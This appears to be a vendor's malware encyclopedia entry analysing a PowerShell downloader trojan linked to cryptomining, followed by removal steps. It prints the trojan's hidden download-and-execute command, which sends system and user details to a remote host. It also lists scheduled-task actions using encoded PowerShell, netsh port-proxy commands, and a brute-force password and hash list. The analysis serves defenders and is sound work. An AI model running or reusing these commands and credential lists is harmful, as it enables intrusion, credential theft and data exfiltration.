Analysis by: Arvin Roi Macaraeg
 Modified by: Patrick Angelo Roderno

ALIASES:

TrojanDownloader:PowerShell/Credcalper (MICROSOFT); HEUR:Trojan.PowerShell.Generic (KASPERSKY); Mal/PSDL-J (SOPHOS)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet

This malware is a PowerShell script responsible for downloading and dropping other files. It is implicated in a malicious cryptocurrency-mining activity that features a malware propagating via various methods.

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It takes advantage of certain vulnerabilities.

  TECHNICAL DETAILS

File Size: 3,122,543 bytes
Memory Resident: No
Initial Samples Received Date: 12 Mar 2019
Payload: Connects to URLs/IPs, Steals information

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %AppDataLocal%\kkk1.log
  • %AppDataLocal%\pp2.log
  • %AppDataLocal%\333.log
  • %AppDataLocal%\kk4.log
  • %AppDataLocal%\kk5.log

(Note: %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local on Windows Vista, 7, and 8.)

It adds the following processes:

  • powershell Start-Process -FilePath cmd.exe -ArgumentList "/c powershell -nop -w hidden -ep bypass -c " + '"' + "IEX (New-Object Net.WebClient).downloadstring('" + "http://down.{BLOCKED}h.com/newol.dat?allv5" +
    "&mac={MAC Address}&av={List of AV Products}&version={OS Version}&bit={OS Architecture}&flag2=
    False&domain={Domain Name}&user={Username}&PS={If Powershell-Enabled}" + "')" + '""

It adds the following mutexes to ensure that only one of its copies runs at any one time:

  • Global\powerv5

Information Theft

This Trojan gathers the following data:

  • OS Version
  • MAC Address
  • List of AV products from the victim's machine
  • OS Architecture
  • Username
  • Domain Name

Other Details

This Trojan does the following:

  • Uses PingCastle Scanner to determine vulnerable machines to target
  • Capable of performing Brute Force Attack. It uses the following credentials:
    • Username:
      • administrator
    • Password:
      • 123456
      • password
      • PASSWORD
      • football
      • welcome
      • 1
      • 12
      • 21
      • 123
      • 321
      • 1234
      • 12345
      • 123123
      • 123321
      • 111111
      • 654321
      • 666666
      • 121212
      • 000000
      • 222222
      • 888888
      • 1111
      • 555555
      • 1234567
      • 12345678
      • 123456789
      • 987654321
      • admin
      • abc123
      • abcd1234
      • abcd@1234
      • abc@123
      • p@ssword
      • P@ssword
      • p@ssw0rd
      • P@ssw0rd
      • P@SSWORD
      • P@SSW0RD
      • P@$$w0rd
      • P@$$word
      • P@$$w0rd
      • iloveyou
      • monkey
      • login
      • passw0rd
      • master
      • hello
      • qazwsx
      • password1
      • qwerty
      • baseball
      • qwertyuiop
      • superman
      • 1qaz2wsx
      • fuckyou
      • 123qwe
      • zxcvbn
      • pass
      • aaaaaa
      • love
      • administrator
    • Hashes of password:
      • 32ed87bdb5fdc5e9cba88547376818d4
      • 8846f7eaee8fb117ad06bdd830b7586c
      • 7b592e4f8178b4c75788531b2e747687
      • 31fc0dc8f7dfad0e8bd7ccc3842f2ce9
      • 674e48b68c5cd0efd8f7e5faa87b3d1e
      • 69943c5e63b4d2c104dbbcc15138b72b
      • 588feb889288fb953b5f094d47d1565c
      • bcdf115fd9ba99336c31e176ee34b304
      • 3dbde697d71690a769204beb12283678
      • df54de3f3438343202c1dd523d0265be
      • 7ce21f17c0aee7fb9ceba532d0546ad6
      • 7a21990fcd3d759941e45c490f143d5f
      • 579110c49145015c47ecd267657d3174
      • af27efb60c7b238910efe2a7e0676a39
      • 2d7f1a5a61d3a96fb5159b5eef17adc6
      • 4057b60b514c5402dde3d29a1845c366
      • e8cd0e4a9e89eab931dc5338fcbec54a
      • 6920c58d0df184d829189c44fafb7ece
      • 3fa45a060bd2693ae4c05b601d05ca0c
      • ba07ba35933e5bf42dea4af8add09d1e
      • f1351ac828428d74f6da2968089fc91f
      • e84d037613721532e6b6d84d215854b6
      • 2f2d544c53b3031f24d63402ea7fb4f9
      • 328727b81ca05805a68ef26acb252039
      • 259745cb123a52aa2e693aaacca2db52
      • c22b315c040ae6e0efee3518d830362b
      • 162e829be112225fedf856e38e1c65fe
      • 209c6174da490caeb422f3fa5a7ae634
      • f9e37e83b83c47a93c2f09f66408631b
      • b3ec3e03e2a202cbd54fd104b8504fef
      • 4ed91524cb54eaacc17a185646fb7491
      • aa647b916a1fad374df9c30711d58a7a
      • a80c9cc3f8439ada25af064a874efe2d
      • 13b29964cc2480b4ef454c59562e675c
      • de26cce0356891a4a020e7c4957afc72
      • e19ccf75ee54e06b06a5907af13cef42
      • 30fcaa8ad9a496b3e17f7fbfacc72993
      • 41630abb825ca50da31ce1fac1e9f54d
      • f56a8399599f1be040128b1dd9623c29
      • 2e4dbf83aa056289935daea328977b20
      • f56a8399599f1be040128b1dd9623c29
      • b963c57010f218edc2cc3c229b5e4d0f
      • f2477a144dff4f216ab81f2ac3e3207d
      • e6bd4cdb1e447131b60418f31d0b81d6
      • b9f917853e3dbf6e6831ecce60725930
      • 6d3986e540a63647454a50e26477ef94
      • 066ddfd4ef0e9cd7c256fe77191ef43c
      • 152efbcfafeb22eabda8fc5e68697a41
      • 5835048ce94ad0564e29a924a03510ef
      • 2d20d252a479f485cdf5e171d93985bf
      • 320a78179516c385e35a93ffa0b1c4ac
      • 0d757ad173d2fc249ce19364fd64c8ec
      • 72f5cfa80f07819ccbcfb72feb9eb9b7
      • f67f5e3f66efd7298be6acd32eeeb27c
      • 1c4ecc8938fb93812779077127e97662
      • ad70819c5bc807280974d80f45982011
      • a836ef24f0a529688be2af1479a95411
      • 36aa83bdcab3c9fdaf321ca42a31c3fc
      • acb98fd0478427cd18949050c5e87b47
      • 85deeec2d12f917783b689ae94990716
      • a4141712f19e9dd5adf16919bb38a95c
  • Downloads the contents of the following URLs and executes it in memory:
    • http://p.{BLOCKED}h.com/upgrade.php?ver=3&mac={MAC Address}&av={List of AV products}
      &ver={OS Version}&bit={OS Architecture}
    • http://{BLOCKED}.{BLOCKED}.107.137/status.json?allv5&mac={MAC Address}&av={List of AV Products}
      &version={OS Version}&bit={OS Architecture}&flag2=False&domain={Domain Name}&user={Username}&PS=
      {If Powershell-Enabled}&{Status report of infection}&{Malware Directory\Malware Filename}
  • Capable of performing Pass-the-Hash Attack. If successful, it does the following:
    • Deletes the file %User Startup%\run.bat if existing
    • Drops the following files:
      • %Application Data%\sign.txt
      • %Application Data%\flashplayer.tmp
      • %User Startup%\FlashPlayer.lnk
  • It checks for the existence of the dropped log files, and performs appropriate behavior if any the files does not exist. If:
    • kkk1.log does not exist:
      • If has Admin privileges:
        • Connect to url http://v.{BLOCKED}h.net/g?h{date of infection in the format 'yyMMdd'} to download and execute malicious code
        • Create scheduled task:
          • Task Name: \Microsoft\windows\{MAC Address}
          • Action: powershell -nop -ep bypass -e [malicious code from http://v.y6h.net/g?h{date of infection in the format 'yyMMdd'}]
      • Else:
        • Connect to URL http://v.{BLOCKED}h.net/g?l{date of infection in the format 'yyMMdd'} to download and execute malicious code
        • Create scheduled task:
          • Task Name: {MAC Address}
          • Action: powershell -nop -ep bypass -e [malicious code from http://v.{BLOCKED}h.net/g?l{date of infection in the format 'yyMMdd'}]
    • pp2.log does not exist:
      • Create directory: %Application Data%\Microsoft
      • Checks for existence of the file %Application Data%\Microsoft\cred.ps1. If it does not exist, connects to URL http://down.{BLOCKED}h.com/new.dat?allv5&mac={MAC Address}&av={List of AV Products}&version={OS Version}&bit={OS Architecture}&flag2=False&domain={Domain Name}&user={Username}&PS={If Powershell-Enabled} to download a malicious file saved as %Application Data%\Microsoft\cred.ps1
      • Create and execute scheduled task:
        • Task Name: Credentials
        • Action: powershell -nop -w hidden -ep bypass -f %Application Data%\Microsoft\cred.ps1
    • 333.log does not exist:
      • Connect to http://down.{BLOCKED}h.com/mn.dat?allv5&mac={MAC Address}&av={List of AV Products}&version={OS Version}&bit={OS Architecture}&flag2=False&domain={Domain Name}&user={Username}&PS={If Powershell-Enabled} to download a malicious file saved as %AppDataLocal%\mn.exe
      • Execute %AppDataLocal%\mn.exe
    • kk4.log does not exist:
      • Connect to http://down.{BLOCKED}h.com/ii.dat?p=allv5&mac={MAC Address}&av={List of AV Products}&version={OS Version}&bit={OS Architecture}&flag2=False&domain={Domain Name}&user={Username}&PS={If Powershell-Enabled} to download a malicious file saved as %AppDataLocal%\{random 4-8 characters}.exe
      • Proceeds to do the following:
        • If has Admin privileges:
          • Create scheduled task:
            • Task Name: \Microsoft\Windows\{random 4-8 characters}
            • Action: %AppDataLocal%\{random 4-8 characters}.exe
        • Else:
          • Create script file %AppDataLocal%\run.vbs used for autorun capability of downloaded file
          • Create scheduled task:
            • Task Name: {random 4-8 characters}
            • Action: %AppDataLocal%\run.vbs
    • kk5.log does not exist:
      • Connect to http://down.{BLOCKED}h.com/ddd.dat?allv5&mac={MAC Address}&av={List of AV Products}&version={OS Version}&bit={OS Architecture}&flag2=False&domain={Domain Name}&user={Username}&PS={If Powershell-Enabled} to download a malicious file saved as %AppDataLocal%\ddd.exe
      • Execute %AppDataLocal%\ddd.exe
  • If successful in performing a Brute Force Attack, it proceeds to do the following:
    • Executes the following processes:
      • netsh.exe firewall add portopening tcp 65533 DNS
      • netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53
    • Create scheduled task:
      • Task Name: \Microsoft\windows\Bluetooths
      • Action: powershell -nop -ep bypass -e {base64-encoded command}

It takes advantage of the following vulnerabilities:

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.920.05
FIRST VSAPI PATTERN DATE: 05 Apr 2019
VSAPI OPR PATTERN File: 14.921.00
VSAPI OPR PATTERN Date: 06 Apr 2019

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Identify and terminate files detected as Trojan.PS1.PCASTLE.B

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • \Microsoft\windows\{MAC Address} - powershell -nop -ep bypass -e [malicious code from http://v.y6h.net/g?h{date of infection in the format 'yyMMdd'}]
  • {MAC Address} - powershell -nop -ep bypass -e [malicious code from http://v.y6h.net/g?l{date of infection in the format 'yyMMdd'}]
  • Credentials - powershell -nop -w hidden -ep bypass -f %Application Data%\Microsoft\cred.ps1
  • \Microsoft\Windows\{random 4-8 characters} - %AppDataLocal%\{random 4-8 characters}.exe
  • {random 4-8 characters} - %AppDataLocal%\run.vbs
  • \Microsoft\windows\Bluetooths - powershell -nop -ep bypass -e {base64-encoded command}

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 5

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %AppDataLocal%\kkk1.log
  • %AppDataLocal%\pp2.log
  • %AppDataLocal%\333.log
  • %AppDataLocal%\kk4.log
  • %AppDataLocal%\kk5.log
  • %AppDataLocal%\mn.exe
  • %AppDataLocal%\{random 4-8 characters}.exe
  • %AppDataLocal%\run.vbs
  • %AppDataLocal%\ddd.exe
  • %Application Data%\sign.txt
  • %Application Data%\flashplayer.tmp
  • %Application Data%\Microsoft\cred.ps1
  • %User Startup%\FlashPlayer.lnk

Step 6

Scan your computer with your Trend Micro product to delete files detected as Trojan.PS1.PCASTLE.B. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


Did this description help? Tell us how we did.